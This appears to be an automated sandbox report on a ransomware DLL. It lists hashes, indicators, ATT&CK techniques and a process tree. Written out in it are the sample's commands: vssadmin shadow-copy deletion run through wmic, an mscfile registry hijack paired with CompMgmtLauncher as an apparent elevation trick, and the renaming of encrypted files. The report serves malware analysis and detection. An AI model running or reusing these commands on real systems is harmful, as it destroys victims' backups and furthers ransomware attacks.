d7ac1232f9860102bc977ecf949543f83f3d651d7a1e55af3c1d0bacddf68a2f

Analysis

max time kernel
307s
max time network
280s
platform
windows7_x64
resource
win7v20210408
submitted
27-08-2021 11:29

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General

Target

tempa.dll
Size

38KB
MD5

b90ea37466ff51b92394c61642360f27
SHA1

1137d8f12c1f1c1a4cb16b5f36a6e297b53d969c
SHA256

d7ac1232f9860102bc977ecf949543f83f3d651d7a1e55af3c1d0bacddf68a2f
SHA512

ade05a09a533c08be307303abe5fcff2fe62b23b73da1b1e1b0d9c83c8d4a93a250fc4500264f2dc7357a4c51633ed7548ec23c57a689f2045086f7de3874220

Score

10^/10

ransomware

Malware Config

Signatures

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1252	760	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1312	760	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1012	760	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	816	760	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	916	760	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	204	760	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1552	760	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	232	760	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	948	760	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1908	760	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1100	760	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1440	760	vssadmin.exe	39

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 14 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\RepairSearch.crw => C:\Users\Admin\Pictures\RepairSearch.crw.hvbluctpp	rundll32.exe
File renamed	C:\Users\Admin\Pictures\TraceStop.raw => C:\Users\Admin\Pictures\TraceStop.raw.hvbluctpp	rundll32.exe
File opened for modification	C:\Users\Admin\Pictures\ReadRegister.tiff	rundll32.exe
File renamed	C:\Users\Admin\Pictures\SwitchRestart.tif => C:\Users\Admin\Pictures\SwitchRestart.tif.hvbluctpp	rundll32.exe
File renamed	C:\Users\Admin\Pictures\WatchHide.tif => C:\Users\Admin\Pictures\WatchHide.tif.hvbluctpp	rundll32.exe
File renamed	C:\Users\Admin\Pictures\RenameTest.raw => C:\Users\Admin\Pictures\RenameTest.raw.hvbluctpp	rundll32.exe
File renamed	C:\Users\Admin\Pictures\GetFind.png => C:\Users\Admin\Pictures\GetFind.png.hvbluctpp	rundll32.exe
File renamed	C:\Users\Admin\Pictures\ReadRegister.tiff => C:\Users\Admin\Pictures\ReadRegister.tiff.hvbluctpp	rundll32.exe
File renamed	C:\Users\Admin\Pictures\GrantFind.png => C:\Users\Admin\Pictures\GrantFind.png.hvbluctpp	rundll32.exe
File renamed	C:\Users\Admin\Pictures\OutInitialize.crw => C:\Users\Admin\Pictures\OutInitialize.crw.hvbluctpp	rundll32.exe
File renamed	C:\Users\Admin\Pictures\ResumeSync.crw => C:\Users\Admin\Pictures\ResumeSync.crw.hvbluctpp	rundll32.exe
File opened for modification	C:\Users\Admin\Pictures\InitializeConvert.tiff	rundll32.exe
File renamed	C:\Users\Admin\Pictures\InitializeConvert.tiff => C:\Users\Admin\Pictures\InitializeConvert.tiff.hvbluctpp	rundll32.exe
File renamed	C:\Users\Admin\Pictures\SyncOpen.png => C:\Users\Admin\Pictures\SyncOpen.png.hvbluctpp	rundll32.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1816 set thread context of 1108	1816	rundll32.exe	9
PID 1816 set thread context of 1180	1816	rundll32.exe	13
PID 1816 set thread context of 1208	1816	rundll32.exe	12

Interacts with shadow copies 2 TTPs 8 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
816	vssadmin.exe
204	vssadmin.exe
1552	vssadmin.exe
948	vssadmin.exe
1908	vssadmin.exe
1440	vssadmin.exe
1312	vssadmin.exe
1012	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000be2dc47710f46d4aaf12931bdab8b19e00000000020000000000106600000001000020000000f37d8d490268ab63edd08805c2149f6ff0a20fe5ec9458821694ffd45405bea6000000000e8000000002000020000000e7a0c28ae0c33e55f0651d8b55f32ec0b33a78cb85868b60fbbc54df31a54244900000005af8bf2ba53940b9a9c3161aa64e2604c77af4861202fea57c1cc410bb925f47522926c8594e8b2885d1a051a02c24a2c89d4381b779d9efc33c88d1f07fae7a68b9db488028fe722841cd536164ef6a988112242f8be68fe0cd45155ee52824decd18db9e67742cdc95df0ae6bfd7fd21b0d753247de9e8a8abe1f2a0ef5252444a95e3781f1ac626934430c5984a4840000000366550339da0138f04b509b67210b5502c4be27529386c6dda38a36c6c9b2fce00ddcf73baa00ad709d2428cec46631c8b3e65b52537b05961cce6f42bd73d23	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "336835777"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000be2dc47710f46d4aaf12931bdab8b19e00000000020000000000106600000001000020000000d8363c35d7b5e743f7fd71ac35e45ae1c6bd4af5966f27fcc12fc9fbe0537487000000000e80000000020000200000005d5b42f597dc866fdba6bf994e4ee96535e6c1e7d48f7b852c6726fd20b58cb220000000d5878b60e6d49ea63e3b6447c887a35111ba2c0092dbc8a55b87cf98eb810b4940000000f0e23e953881e99afaa3666e3b13ab657d539a7688ce887fa10c3f76647e0385b0ac6ae7cba86191660e18fcfb8777b775e48f7b078398f4017d0899127da92f	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{69AF7E81-073A-11EC-ACA2-7EDF74282272} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 10ff6e43479bd701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile	rundll32.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
380	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1816	rundll32.exe
1816	rundll32.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
1208	Explorer.EXE
1824	iexplore.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1816	rundll32.exe
1816	rundll32.exe
1816	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1208	Explorer.EXE
Token: SeShutdownPrivilege	1208	Explorer.EXE
Token: SeShutdownPrivilege	1208	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1652	wmic.exe
Token: SeSecurityPrivilege	1652	wmic.exe
Token: SeTakeOwnershipPrivilege	1652	wmic.exe
Token: SeLoadDriverPrivilege	1652	wmic.exe
Token: SeSystemProfilePrivilege	1652	wmic.exe
Token: SeSystemtimePrivilege	1652	wmic.exe
Token: SeProfSingleProcessPrivilege	1652	wmic.exe
Token: SeIncBasePriorityPrivilege	1652	wmic.exe
Token: SeCreatePagefilePrivilege	1652	wmic.exe
Token: SeBackupPrivilege	1652	wmic.exe
Token: SeRestorePrivilege	1652	wmic.exe
Token: SeShutdownPrivilege	1652	wmic.exe
Token: SeDebugPrivilege	1652	wmic.exe
Token: SeSystemEnvironmentPrivilege	1652	wmic.exe
Token: SeRemoteShutdownPrivilege	1652	wmic.exe
Token: SeUndockPrivilege	1652	wmic.exe
Token: SeManageVolumePrivilege	1652	wmic.exe
Token: 33	1652	wmic.exe
Token: 34	1652	wmic.exe
Token: 35	1652	wmic.exe
Token: SeIncreaseQuotaPrivilege	968	WMIC.exe
Token: SeSecurityPrivilege	968	WMIC.exe
Token: SeTakeOwnershipPrivilege	968	WMIC.exe
Token: SeLoadDriverPrivilege	968	WMIC.exe
Token: SeSystemProfilePrivilege	968	WMIC.exe
Token: SeSystemtimePrivilege	968	WMIC.exe
Token: SeProfSingleProcessPrivilege	968	WMIC.exe
Token: SeIncBasePriorityPrivilege	968	WMIC.exe
Token: SeCreatePagefilePrivilege	968	WMIC.exe
Token: SeBackupPrivilege	968	WMIC.exe
Token: SeRestorePrivilege	968	WMIC.exe
Token: SeShutdownPrivilege	968	WMIC.exe
Token: SeDebugPrivilege	968	WMIC.exe
Token: SeSystemEnvironmentPrivilege	968	WMIC.exe
Token: SeRemoteShutdownPrivilege	968	WMIC.exe
Token: SeUndockPrivilege	968	WMIC.exe
Token: SeManageVolumePrivilege	968	WMIC.exe
Token: 33	968	WMIC.exe
Token: 34	968	WMIC.exe
Token: 35	968	WMIC.exe
Token: SeShutdownPrivilege	1208	Explorer.EXE
Token: SeShutdownPrivilege	1208	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	968	WMIC.exe
Token: SeSecurityPrivilege	968	WMIC.exe
Token: SeTakeOwnershipPrivilege	968	WMIC.exe
Token: SeLoadDriverPrivilege	968	WMIC.exe
Token: SeSystemProfilePrivilege	968	WMIC.exe
Token: SeSystemtimePrivilege	968	WMIC.exe
Token: SeProfSingleProcessPrivilege	968	WMIC.exe
Token: SeIncBasePriorityPrivilege	968	WMIC.exe
Token: SeCreatePagefilePrivilege	968	WMIC.exe
Token: SeBackupPrivilege	968	WMIC.exe
Token: SeRestorePrivilege	968	WMIC.exe
Token: SeShutdownPrivilege	968	WMIC.exe
Token: SeDebugPrivilege	968	WMIC.exe
Token: SeSystemEnvironmentPrivilege	968	WMIC.exe
Token: SeRemoteShutdownPrivilege	968	WMIC.exe
Token: SeUndockPrivilege	968	WMIC.exe
Token: SeManageVolumePrivilege	968	WMIC.exe
Token: 33	968	WMIC.exe
Token: 34	968	WMIC.exe

Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE
1824	iexplore.exe
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1824	iexplore.exe
1824	iexplore.exe
1596	IEXPLORE.EXE
1596	IEXPLORE.EXE
1596	IEXPLORE.EXE
1596	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1816 wrote to memory of 380	1816	rundll32.exe	29
PID 1816 wrote to memory of 380	1816	rundll32.exe	29
PID 1816 wrote to memory of 380	1816	rundll32.exe	29
PID 1816 wrote to memory of 1052	1816	rundll32.exe	30
PID 1816 wrote to memory of 1052	1816	rundll32.exe	30
PID 1816 wrote to memory of 1052	1816	rundll32.exe	30
PID 1816 wrote to memory of 1652	1816	rundll32.exe	32
PID 1816 wrote to memory of 1652	1816	rundll32.exe	32
PID 1816 wrote to memory of 1652	1816	rundll32.exe	32
PID 1816 wrote to memory of 1300	1816	rundll32.exe	33
PID 1816 wrote to memory of 1300	1816	rundll32.exe	33
PID 1816 wrote to memory of 1300	1816	rundll32.exe	33
PID 1300 wrote to memory of 968	1300	cmd.exe	37
PID 1300 wrote to memory of 968	1300	cmd.exe	37
PID 1300 wrote to memory of 968	1300	cmd.exe	37
PID 1052 wrote to memory of 1824	1052	cmd.exe	38
PID 1052 wrote to memory of 1824	1052	cmd.exe	38
PID 1052 wrote to memory of 1824	1052	cmd.exe	38
PID 1252 wrote to memory of 2000	1252	cmd.exe	44
PID 1252 wrote to memory of 2000	1252	cmd.exe	44
PID 1252 wrote to memory of 2000	1252	cmd.exe	44
PID 2000 wrote to memory of 572	2000	CompMgmtLauncher.exe	48
PID 2000 wrote to memory of 572	2000	CompMgmtLauncher.exe	48
PID 2000 wrote to memory of 572	2000	CompMgmtLauncher.exe	48
PID 1824 wrote to memory of 1596	1824	iexplore.exe	50
PID 1824 wrote to memory of 1596	1824	iexplore.exe	50
PID 1824 wrote to memory of 1596	1824	iexplore.exe	50
PID 1824 wrote to memory of 1596	1824	iexplore.exe	50
PID 1208 wrote to memory of 1952	1208	Explorer.EXE	54
PID 1208 wrote to memory of 1952	1208	Explorer.EXE	54
PID 1208 wrote to memory of 1952	1208	Explorer.EXE	54
PID 1208 wrote to memory of 1964	1208	Explorer.EXE	55
PID 1208 wrote to memory of 1964	1208	Explorer.EXE	55
PID 1208 wrote to memory of 1964	1208	Explorer.EXE	55
PID 1964 wrote to memory of 1552	1964	cmd.exe	58
PID 1964 wrote to memory of 1552	1964	cmd.exe	58
PID 1964 wrote to memory of 1552	1964	cmd.exe	58
PID 916 wrote to memory of 1048	916	cmd.exe	63
PID 916 wrote to memory of 1048	916	cmd.exe	63
PID 916 wrote to memory of 1048	916	cmd.exe	63
PID 1048 wrote to memory of 1360	1048	CompMgmtLauncher.exe	65
PID 1048 wrote to memory of 1360	1048	CompMgmtLauncher.exe	65
PID 1048 wrote to memory of 1360	1048	CompMgmtLauncher.exe	65
PID 1108 wrote to memory of 1312	1108	taskhost.exe	68
PID 1108 wrote to memory of 1312	1108	taskhost.exe	68
PID 1108 wrote to memory of 1312	1108	taskhost.exe	68
PID 1108 wrote to memory of 1204	1108	taskhost.exe	70
PID 1108 wrote to memory of 1204	1108	taskhost.exe	70
PID 1108 wrote to memory of 1204	1108	taskhost.exe	70
PID 1204 wrote to memory of 1160	1204	cmd.exe	72
PID 1204 wrote to memory of 1160	1204	cmd.exe	72
PID 1204 wrote to memory of 1160	1204	cmd.exe	72
PID 232 wrote to memory of 524	232	cmd.exe	77
PID 232 wrote to memory of 524	232	cmd.exe	77
PID 232 wrote to memory of 524	232	cmd.exe	77
PID 524 wrote to memory of 1012	524	CompMgmtLauncher.exe	78
PID 524 wrote to memory of 1012	524	CompMgmtLauncher.exe	78
PID 524 wrote to memory of 1012	524	CompMgmtLauncher.exe	78
PID 1180 wrote to memory of 208	1180	Dwm.exe	82
PID 1180 wrote to memory of 208	1180	Dwm.exe	82
PID 1180 wrote to memory of 208	1180	Dwm.exe	82
PID 1180 wrote to memory of 1296	1180	Dwm.exe	83
PID 1180 wrote to memory of 1296	1180	Dwm.exe	83
PID 1180 wrote to memory of 1296	1180	Dwm.exe	83

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1108
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1312
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1204
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1160

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1208
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\tempa.dll,#1
  2⤵
  - Modifies extensions of user files
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\Users\Public\readme.txt?
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:380
- - C:\Windows\system32\cmd.exe
    cmd /c "start http://148464e804784a7006hvbluctpp.burybig.xyz/hvbluctpp^&1^&49720559^&96^&363^&12"?
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1052
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://148464e804784a7006hvbluctpp.burybig.xyz/hvbluctpp&1&49720559&96&363&12?
      4⤵
      Modifies Internet Explorer settings
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1824
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1824 CREDAT:275457 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:1596
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1652
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1300
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:968
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1952
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1552

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1180
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:208
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:1296
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1288

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1252
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:572

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1312

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1496

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1012

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:816

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:916
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1360

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:204

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1552

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:232
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:524
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1012

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:948

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1908

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:1100
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:212
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1744

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1440

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/380-76-0x000007FEFB7B1000-0x000007FEFB7B3000-memory.dmp

Filesize
8KB

